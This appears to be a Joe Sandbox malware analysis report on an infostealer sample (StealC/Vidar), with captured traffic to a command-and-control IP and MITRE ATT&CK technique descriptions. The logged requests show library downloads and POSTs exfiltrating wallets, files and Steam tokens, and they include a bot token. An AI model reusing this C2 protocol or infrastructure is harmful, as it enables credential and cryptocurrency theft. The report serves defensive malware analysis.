Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGHCGHCBFHJJKKJEHHost: 185.215.113.37Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGDGIDBAAEBFHJKJDGHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 2d 2d 0d 0a Data Ascii: ------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="message"wallets------BFBGDGIDBAAEBFHJKJDG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJKHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="message"files------DAECGCGHCGHCAKECBKJK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFIEHCFIECBGCBFHIJJHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="file"------FCFIEHCFIECBGCBFHIJJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJEGCBKKJECBGCGDBAHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 2d 2d 0d 0a Data Ascii: ------CBKJEGCBKKJECBGCGDBAContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------CBKJEGCBKKJECBGCGDBAContent-Disposition: form-data; name="message"ybncbhylepme------CBKJEGCBKKJECBGCGDBA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDBHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 2d 2d 0d 0a Data Ascii: ------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KJJJKFIIIJJJECAAEHDB--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAAAECGHCBGCBFHIIDHIJKFBKF

C:\ProgramData\BAAEHDBFIDAFIDHJEBFBGDGHJD

C:\ProgramData\ECGDBAEHIJKKFHIEGCBG

C:\ProgramData\EHIJDHCAKKFCBGCBAAEC

C:\ProgramData\EHJKKKFIIJJKJKFIECBF

C:\ProgramData\FIDGHIIE

C:\ProgramData\FIDGHIIECGHDHJKFCAEGIJDGCB

C:\ProgramData\GIDHDGCB

C:\ProgramData\KFIJJEGHDAEBGCAKJKFHDHCFHC

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00F29860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00F145C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00F1BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00F24910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00F29C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00F17710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00F20250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00F15100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre